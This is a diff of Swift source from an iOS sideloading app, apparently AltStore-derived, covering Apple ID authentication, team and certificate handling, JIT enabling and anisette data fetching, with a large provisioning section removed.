let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
|
||||
{ _ in
|
||||
let textField = alertController.textFields?.first
|
||||
|
||||
let code = textField?.text ?? ""
|
||||
@@ -413,29 +421,31 @@ private extension AuthenticationOperation
|
||||
alertController.addAction(submitAction)
|
||||
self.submitCodeAction = submitAction
|
||||
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
|
||||
{ _ in
|
||||
completionHandler(nil)
|
||||
})
|
||||
|
||||
// if self.navigationController.presentingViewController != nil
|
||||
// {
|
||||
// self.navigationController.present(alertController, animated: true, completion: nil)
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
// }
|
||||
if self.navigationController.presentingViewController != nil
|
||||
{
|
||||
self.navigationController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// // No view controller to present security code alert, so don't provide verificationHandler.
|
||||
// verificationHandler = nil
|
||||
// }
|
||||
}
|
||||
else
|
||||
{
|
||||
// No view controller to present security code alert, so don't provide verificationHandler.
|
||||
verificationHandler = nil
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||
verificationHandler: verificationHandler) { (account, session, error) in
|
||||
verificationHandler: verificationHandler)
|
||||
{ account, session, error in
|
||||
if let account = account, let session = session
|
||||
{
|
||||
completionHandler(.success((account, session)))
|
||||
@@ -454,34 +464,43 @@ private extension AuthenticationOperation
|
||||
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void)
|
||||
{
|
||||
func selectTeam(from teams: [ALTTeam])
|
||||
{
|
||||
if teams.count <= 1 {
|
||||
if let team = teams.first {
|
||||
return completionHandler(.success(team))
|
||||
} else {
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
}
|
||||
} else {
|
||||
DispatchQueue.main.async {
|
||||
// let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
//
|
||||
// selectTeamViewController.teams = teams
|
||||
// selectTeamViewController.completionHandler = completionHandler
|
||||
//
|
||||
// if !self.present(selectTeamViewController)
|
||||
// {
|
||||
// return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
if teams.count <= 1
|
||||
{
|
||||
if let team = teams.first
|
||||
{
|
||||
return completionHandler(.success(team))
|
||||
}
|
||||
else
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
|
||||
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
|
||||
selectTeamViewController.teams = teams
|
||||
selectTeamViewController.completionHandler = completionHandler
|
||||
|
||||
if !self.present(selectTeamViewController)
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.fetchTeams(for: account, session: session)
|
||||
{ teams, error in
|
||||
switch Result(teams, error)
|
||||
{
|
||||
case .failure(let error): completionHandler(.failure(error))
|
||||
case .success(let teams):
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||
{ context in
|
||||
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
|
||||
{
|
||||
completionHandler(.success(altTeam))
|
||||
@@ -500,18 +519,22 @@ private extension AuthenticationOperation
|
||||
func requestCertificate()
|
||||
{
|
||||
let machineName = "AltStore - " + UIDevice.current.name
|
||||
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
|
||||
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
|
||||
{ certificate, error in
|
||||
do
|
||||
{
|
||||
let certificate = try Result(certificate, error).get()
|
||||
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
||||
|
||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||
{ certificates, error in
|
||||
do
|
||||
{
|
||||
let certificates = try Result(certificates, error).get()
|
||||
|
||||
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
|
||||
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
|
||||
else
|
||||
{
|
||||
throw AuthenticationError.missingCertificate
|
||||
}
|
||||
|
||||
@@ -535,7 +558,8 @@ private extension AuthenticationOperation
|
||||
{
|
||||
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
||||
|
||||
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
|
||||
ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
|
||||
{ success, error in
|
||||
if let error = error, !success
|
||||
{
|
||||
completionHandler(.failure(error))
|
||||
@@ -547,7 +571,8 @@ private extension AuthenticationOperation
|
||||
}
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||
{ certificates, error in
|
||||
do
|
||||
{
|
||||
let certificates = try Result(certificates, error).get()
|
||||
@@ -604,11 +629,14 @@ private extension AuthenticationOperation
|
||||
|
||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||
{
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||
else
|
||||
{
|
||||
return completionHandler(.failure(OperationError.unknownUDID))
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in
|
||||
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
|
||||
{ devices, error in
|
||||
do
|
||||
{
|
||||
let devices = try Result(devices, error).get()
|
||||
@@ -619,7 +647,8 @@ private extension AuthenticationOperation
|
||||
}
|
||||
else
|
||||
{
|
||||
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in
|
||||
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
|
||||
{ device, error in
|
||||
completionHandler(Result(device, error))
|
||||
}
|
||||
}
|
||||
@@ -634,7 +663,7 @@ private extension AuthenticationOperation
|
||||
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
|
||||
fetchAppIDsOperation.resultHandler = { (result) in
|
||||
fetchAppIDsOperation.resultHandler = { result in
|
||||
do
|
||||
{
|
||||
let (_, context) = try result.get()
|
||||
@@ -653,21 +682,21 @@ private extension AuthenticationOperation
|
||||
|
||||
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
|
||||
{
|
||||
return completionHandler(false)
|
||||
// guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
//
|
||||
// DispatchQueue.main.async {
|
||||
// let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
// instructionsViewController.showsBottomButton = true
|
||||
// instructionsViewController.completionHandler = {
|
||||
// completionHandler(true)
|
||||
// }
|
||||
//
|
||||
// if !self.present(instructionsViewController)
|
||||
// {
|
||||
// completionHandler(false)
|
||||
// }
|
||||
// }
|
||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
instructionsViewController.showsBottomButton = true
|
||||
instructionsViewController.completionHandler = {
|
||||
completionHandler(true)
|
||||
}
|
||||
|
||||
if !self.present(instructionsViewController)
|
||||
{
|
||||
completionHandler(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func showRefreshScreenIfNecessary(signer: ALTSigner, session: ALTAppleAPISession, completionHandler: @escaping (Bool) -> Void)
|
||||
@@ -680,7 +709,8 @@ private extension AuthenticationOperation
|
||||
#if DEBUG
|
||||
completionHandler(false)
|
||||
#else
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let context = AuthenticatedOperationContext(context: self.context)
|
||||
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.
|
||||
|
||||
|
||||
@@ -11,7 +11,6 @@ import CoreData
|
||||
|
||||
import AltStoreCore
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
|
||||
enum RefreshError: LocalizedError
|
||||
{
|
||||
@@ -98,14 +97,6 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
||||
return
|
||||
}
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try minimuxer.start(try String(contentsOf: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")), documentsDirectory)
|
||||
} catch {
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
|
||||
self.managedObjectContext.perform {
|
||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||
|
||||
@@ -44,9 +44,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
for profile in allIdentifiers {
|
||||
do {
|
||||
try remove_provisioning_profile(profile)
|
||||
let res = try remove_provisioning_profile(id: profile)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
self.finish(.failure(ALTServerError(.unknownResponse)))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -45,13 +45,23 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
||||
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
installedApp.managedObjectContext?.perform {
|
||||
let v = minimuxer_to_operation(code: 1)
|
||||
|
||||
do {
|
||||
try debug_app(installedApp.resignedBundleIdentifier)
|
||||
var x = try debug_app(app_id: installedApp.resignedBundleIdentifier)
|
||||
switch x {
|
||||
case .Good:
|
||||
self.finish(.success(()))
|
||||
case .Bad(let code):
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
}
|
||||
|
||||
self.finish(.success(()))
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,28 +7,15 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CommonCrypto
|
||||
import Starscream
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
|
||||
@objc(FetchAnisetteDataOperation)
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSocketDelegate
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||
{
|
||||
let context: OperationContext
|
||||
var socket: WebSocket!
|
||||
|
||||
var url: URL?
|
||||
var startProvisioningURL: URL?
|
||||
var endProvisioningURL: URL?
|
||||
|
||||
var clientInfo: String?
|
||||
var userAgent: String?
|
||||
|
||||
var mdLu: String?
|
||||
var deviceId: String?
|
||||
|
||||
init(context: OperationContext)
|
||||
{
|
||||
@@ -45,412 +32,32 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
||||
return
|
||||
}
|
||||
|
||||
self.url = AnisetteManager.currentURL
|
||||
print("Anisette URL: \(self.url!.absoluteString)")
|
||||
let url = AnisetteManager.currentURL
|
||||
DLOG("Anisette URL: %@", url.absoluteString)
|
||||
|
||||
if let identifier = Keychain.shared.identifier,
|
||||
let adiPb = Keychain.shared.adiPb {
|
||||
fetchAnisetteV3(identifier, adiPb)
|
||||
} else {
|
||||
provision()
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - COMMON
|
||||
|
||||
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if v3 {
|
||||
if json["result"] == "GetHeadersError" {
|
||||
let message = json["message"]
|
||||
print("Error getting V3 headers: \(message ?? "no message")")
|
||||
if let message = message,
|
||||
message.contains("-45061") {
|
||||
print("Error message contains -45061 (not provisioned), resetting adi.pb and retrying")
|
||||
Keychain.shared.adiPb = nil
|
||||
return provision()
|
||||
} else { throw OperationError.anisetteV3Error(message: message ?? "Unknown error") }
|
||||
}
|
||||
}
|
||||
let task = URLSession.shared.dataTask(with: url) { data, response, error in
|
||||
guard let data = data, error == nil else { return }
|
||||
|
||||
// try to read out a dictionary
|
||||
// for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
var formattedJSON: [String: String] = ["deviceSerialNumber": "0"]
|
||||
if let machineID = json["X-Apple-I-MD-M"] { formattedJSON["machineID"] = machineID }
|
||||
if let oneTimePassword = json["X-Apple-I-MD"] { formattedJSON["oneTimePassword"] = oneTimePassword }
|
||||
if let routingInfo = json["X-Apple-I-MD-RINFO"] { formattedJSON["routingInfo"] = routingInfo }
|
||||
|
||||
if v3 {
|
||||
formattedJSON["deviceDescription"] = self.clientInfo!
|
||||
formattedJSON["localUserID"] = self.mdLu!
|
||||
formattedJSON["deviceUniqueIdentifier"] = self.deviceId!
|
||||
|
||||
// Generate date stuff on client
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone.current
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
formattedJSON["date"] = dateString
|
||||
formattedJSON["locale"] = Locale.current.identifier
|
||||
formattedJSON["timeZone"] = TimeZone.current.abbreviation()
|
||||
} else {
|
||||
if let deviceDescription = json["X-MMe-Client-Info"] { formattedJSON["deviceDescription"] = deviceDescription }
|
||||
if let localUserID = json["X-Apple-I-MD-LU"] { formattedJSON["localUserID"] = localUserID }
|
||||
if let deviceUniqueIdentifier = json["X-Mme-Device-Id"] { formattedJSON["deviceUniqueIdentifier"] = deviceUniqueIdentifier }
|
||||
|
||||
if let date = json["X-Apple-I-Client-Time"] { formattedJSON["date"] = date }
|
||||
if let locale = json["X-Apple-Locale"] { formattedJSON["locale"] = locale }
|
||||
if let timeZone = json["X-Apple-I-TimeZone"] { formattedJSON["timeZone"] = timeZone }
|
||||
}
|
||||
|
||||
if let response = response,
|
||||
let version = response.value(forHTTPHeaderField: "Implementation-Version") {
|
||||
print("Implementation-Version: \(version)")
|
||||
} else { print("No Implementation-Version header") }
|
||||
|
||||
print("Anisette used: \(formattedJSON)")
|
||||
print("Original JSON: \(json)")
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
print("Anisette is valid!")
|
||||
self.finish(.success(anisette))
|
||||
} else {
|
||||
print("Anisette is invalid!!!!")
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - V1
|
||||
|
||||
func handleV1() {
|
||||
print("Server is V1")
|
||||
|
||||
if UserDefaults.shared.trustedServerURL == AnisetteManager.currentURLString {
|
||||
print("Server has already been trusted, fetching anisette")
|
||||
return self.fetchAnisetteV1()
|
||||
}
|
||||
|
||||
print("Alerting user about outdated server")
|
||||
let alert = UIAlertController(title: "WARNING: Outdated anisette server", message: "We've detected you are using an older anisette server. Using this server has a higher likelihood of locking your account and causing other issues. Are you sure you want to continue?", preferredStyle: UIAlertController.Style.alert)
|
||||
alert.addAction(UIAlertAction(title: "Continue", style: UIAlertAction.Style.destructive, handler: { action in
|
||||
print("Fetching anisette via V1")
|
||||
UserDefaults.shared.trustedServerURL = AnisetteManager.currentURLString
|
||||
self.fetchAnisetteV1()
|
||||
}))
|
||||
alert.addAction(UIAlertAction(title: "Cancel", style: UIAlertAction.Style.cancel, handler: { action in
|
||||
print("Cancelled anisette operation")
|
||||
self.finish(.failure(OperationError.cancelled))
|
||||
}))
|
||||
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
|
||||
DispatchQueue.main.async {
|
||||
if let presentingController = keyWindow?.rootViewController?.presentedViewController {
|
||||
presentingController.present(alert, animated: true)
|
||||
} else {
|
||||
keyWindow?.rootViewController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fetchAnisetteV1() {
|
||||
print("Fetching anisette V1")
|
||||
URLSession.shared.dataTask(with: self.url!) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV1Error(message: "Unable to fetch data\(error != nil ? " (\(error!.localizedDescription))" : "")") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: false)
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
// try to read out a dictionary
|
||||
//for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
|
||||
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
DLOG("Anisette used: %@", formattedJSON)
|
||||
self.finish(.success(anisette))
|
||||
}
|
||||
}
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
// MARK: - V3: PROVISIONING
|
||||
|
||||
func provision() {
|
||||
fetchClientInfo {
|
||||
print("Getting provisioning URLs")
|
||||
var request = self.buildAppleRequest(url: URL(string: "https://gsa.apple.com/grandslam/GsService2/lookup")!)
|
||||
request.httpMethod = "GET"
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let startProvisioningString = plist["urls"]?["midStartProvisioning"] as? String,
|
||||
let startProvisioningURL = URL(string: startProvisioningString),
|
||||
let endProvisioningString = plist["urls"]?["midFinishProvisioning"] as? String,
|
||||
let endProvisioningURL = URL(string: endProvisioningString) {
|
||||
self.startProvisioningURL = startProvisioningURL
|
||||
self.endProvisioningURL = endProvisioningURL
|
||||
print("startProvisioningURL: \(self.startProvisioningURL!.absoluteString)")
|
||||
print("endProvisioningURL: \(self.endProvisioningURL!.absoluteString)")
|
||||
print("Starting a provisioning session")
|
||||
self.startProvisioningSession()
|
||||
} else {
|
||||
print("Apple didn't give valid URLs! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid URLs. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
}
|
||||
|
||||
func startProvisioningSession() {
|
||||
let provisioningSessionURL = self.url!.appendingPathComponent("v3").appendingPathComponent("provisioning_session")
|
||||
var wsRequest = URLRequest(url: provisioningSessionURL)
|
||||
wsRequest.timeoutInterval = 5
|
||||
self.socket = WebSocket(request: wsRequest)
|
||||
self.socket.delegate = self
|
||||
self.socket.connect()
|
||||
}
|
||||
|
||||
func didReceive(event: WebSocketEvent, client: WebSocket) {
|
||||
switch event {
|
||||
case .text(let string):
|
||||
do {
|
||||
if let json = try JSONSerialization.jsonObject(with: string.data(using: .utf8)!, options: []) as? [String: Any] {
|
||||
guard let result = json["result"] as? String else {
|
||||
print("The server didn't give us a result")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a result", message: nil)))
|
||||
return
|
||||
}
|
||||
print("Received result: \(result)")
|
||||
switch result {
|
||||
case "GiveIdentifier":
|
||||
print("Giving identifier")
|
||||
client.json(["identifier": Keychain.shared.identifier!])
|
||||
|
||||
case "GiveStartProvisioningData":
|
||||
print("Getting start provisioning data")
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [String: Any](),
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.startProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let spim = plist["Response"]?["spim"] as? String {
|
||||
print("Giving start provisioning data")
|
||||
client.json(["spim": spim])
|
||||
} else {
|
||||
print("Apple didn't give valid start provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid start provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "GiveEndProvisioningData":
|
||||
print("Getting end provisioning data")
|
||||
guard let cpim = json["cpim"] as? String else {
|
||||
print("The server didn't give us a cpim")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a cpim", message: nil)))
|
||||
return
|
||||
}
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [
|
||||
"cpim": cpim,
|
||||
],
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.endProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let ptm = plist["Response"]?["ptm"] as? String,
|
||||
let tk = plist["Response"]?["tk"] as? String {
|
||||
print("Giving end provisioning data")
|
||||
client.json(["ptm": ptm, "tk": tk])
|
||||
} else {
|
||||
print("Apple didn't give valid end provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid end provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "ProvisioningSuccess":
|
||||
print("Provisioning succeeded!")
|
||||
client.disconnect(closeCode: 0)
|
||||
guard let adiPb = json["adi_pb"] as? String else {
|
||||
print("The server didn't give us an adi.pb file")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us an adi.pb file", message: nil)))
|
||||
return
|
||||
}
|
||||
Keychain.shared.adiPb = adiPb
|
||||
self.fetchAnisetteV3(Keychain.shared.identifier!, Keychain.shared.adiPb!)
|
||||
|
||||
default:
|
||||
if result.contains("Error") || result.contains("Invalid") || result == "ClosingPerRequest" || result == "Timeout" || result == "TextOnly" {
|
||||
print("Failing because of \(result)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: result, message: json["message"] as? String)))
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch let error as NSError {
|
||||
print("Failed to handle text: \(error.localizedDescription)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: error.localizedDescription, message: nil)))
|
||||
}
|
||||
|
||||
case .connected:
|
||||
print("Connected")
|
||||
|
||||
case .disconnected(let string, let code):
|
||||
print("Disconnected: \(code); \(string)")
|
||||
|
||||
case .error(let error):
|
||||
print("Got error: \(String(describing: error))")
|
||||
|
||||
default:
|
||||
print("Unknown event: \(event)")
|
||||
}
|
||||
}
|
||||
|
||||
func buildAppleRequest(url: URL) -> URLRequest {
|
||||
var request = URLRequest(url: url)
|
||||
request.setValue(self.clientInfo!, forHTTPHeaderField: "X-Mme-Client-Info")
|
||||
request.setValue(self.userAgent!, forHTTPHeaderField: "User-Agent")
|
||||
request.setValue("text/x-xml-plist", forHTTPHeaderField: "Content-Type")
|
||||
request.setValue("*/*", forHTTPHeaderField: "Accept")
|
||||
|
||||
request.setValue(self.mdLu!, forHTTPHeaderField: "X-Apple-I-MD-LU")
|
||||
request.setValue(self.deviceId!, forHTTPHeaderField: "X-Mme-Device-Id")
|
||||
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone(identifier: "UTC")
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
request.setValue(dateString, forHTTPHeaderField: "X-Apple-I-Client-Time")
|
||||
request.setValue(Locale.current.identifier, forHTTPHeaderField: "X-Apple-Locale")
|
||||
request.setValue(TimeZone.current.abbreviation(), forHTTPHeaderField: "X-Apple-I-TimeZone")
|
||||
return request
|
||||
}
|
||||
|
||||
// MARK: - V3: FETCHING
|
||||
|
||||
func fetchClientInfo(_ callback: @escaping () -> Void) {
|
||||
if self.clientInfo != nil &&
|
||||
self.userAgent != nil &&
|
||||
self.mdLu != nil &&
|
||||
self.deviceId != nil &&
|
||||
Keychain.shared.identifier != nil {
|
||||
print("Skipping client_info fetch since all the properties we need aren't nil")
|
||||
return callback()
|
||||
}
|
||||
print("Trying to get client_info")
|
||||
let clientInfoURL = self.url!.appendingPathComponent("v3").appendingPathComponent("client_info")
|
||||
URLSession.shared.dataTask(with: clientInfoURL) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else {
|
||||
return self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The server may be down\(error != nil ? " (\(error!.localizedDescription))" : "")")))
|
||||
}
|
||||
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if let clientInfo = json["client_info"] {
|
||||
print("Server is V3")
|
||||
|
||||
self.clientInfo = clientInfo
|
||||
self.userAgent = json["user_agent"]!
|
||||
print("Client-Info: \(self.clientInfo!)")
|
||||
print("User-Agent: \(self.userAgent!)")
|
||||
|
||||
if Keychain.shared.identifier == nil {
|
||||
print("Generating identifier")
|
||||
var bytes = [Int8](repeating: 0, count: 16)
|
||||
let status = SecRandomCopyBytes(kSecRandomDefault, bytes.count, &bytes)
|
||||
|
||||
if status != errSecSuccess {
|
||||
print("ERROR GENERATING IDENTIFIER!!! \(status)")
|
||||
return self.finish(.failure(OperationError.provisioningError(result: "Couldn't generate identifier", message: nil)))
|
||||
}
|
||||
|
||||
Keychain.shared.identifier = Data(bytes: &bytes, count: bytes.count).base64EncodedString()
|
||||
}
|
||||
|
||||
let decoded = Data(base64Encoded: Keychain.shared.identifier!)!
|
||||
self.mdLu = decoded.sha256().hexEncodedString()
|
||||
print("X-Apple-I-MD-LU: \(self.mdLu!)")
|
||||
let uuid: UUID = decoded.object()
|
||||
self.deviceId = uuid.uuidString.uppercased()
|
||||
print("X-Mme-Device-Id: \(self.deviceId!)")
|
||||
|
||||
callback()
|
||||
} else { self.handleV1() }
|
